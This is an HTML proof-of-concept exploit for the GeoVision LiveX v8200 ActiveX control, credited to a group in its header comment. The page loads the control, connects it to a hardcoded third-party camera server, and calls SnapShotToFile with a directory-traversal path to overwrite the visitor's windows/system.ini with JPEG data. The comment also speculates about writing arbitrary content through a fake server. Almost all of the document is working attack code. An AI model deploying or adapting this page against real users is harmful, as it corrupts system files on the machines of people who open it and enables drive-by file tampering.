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<!-- GeoVision LiveX_v8200 ActiveX Control (LIVEX_~1.OCX) remote file corruption poc by Nine:Situations:Group::SnoopyAssault site: http://retrogod.altervista.org/
working against IE8b/xpsp3, safe for scripting and for initialize. LiveX_v7000 with clsid {DA8484DE-52DB-4860-A986-61A8682E298A} LiveX_v8120 with clsid {F4421170-DB22-4551-BBFB-FFCFFB419F6F} have the same SnapShotToFile() and SnapShotX() methods
this poc connects to a live demo server and replaces system.ini with jpeg content... could we set arbitrary content (???) ... maybe trough a fake server, checking ... --> <html> <head> <script language="JavaScript"> function sleep(n) { var now = new Date(); var exitTime = now.getTime() + (n*1000); while (true) { now = new Date(); if (now.getTime() > exitTime) return; } } </script> </head> <body> <object classid="clsid:8D58D690-6B71-4ee8-85AD-006DB0287BF1" id="WebCamX1" width="360" height="300"> <param name="IpAddress" value="http://24.248.47.203" ref> <!-- demo server --> <param name="DisablePWD" value="-1"> <param name="UserName" value="wec"> <param name="Password" value=""> <param name="CommandPort" value="4550"> <param name="DataPort" value="5550"> <param name="AudioDataPort" value="6550"> <param name="BandWidth" value="LAN"> <param name="FixSize" value="0"> <param name="FixWidth" value="320"> <param name="FixHeight" value="240"> <param name="SvrType" value="0"> <param name="AutoLogin" value="0"> <param name="DefaultCam" value="1"> <param name="AutoReConnect" value="-1"> <param name="MaxRetries" value="-1"> <param name="RetryInterval" value="70"> </object> <script language="JavaScript"> sleep(2); //WebCamX1.SetCntDeviceType(0); //WebCamX1.EnableAutoScreenSize(1); //WebCamX1.SetInfo(125,1,0,"",""); //WebCamX1.SetInfo(129,1,0,"",""); //WebCamX1.SetUpdateInfo(100, "WebCam", 0, "", 8200, 0,0); //WebCamX1.DefaultCam = 1; WebCamX1.PlayX(); sleep(2); WebCamX1.SnapShotToFile("../../../../../../../../../../../windows/system.ini"); WebCamX1.SnapShotX(); </script> </body> </html>
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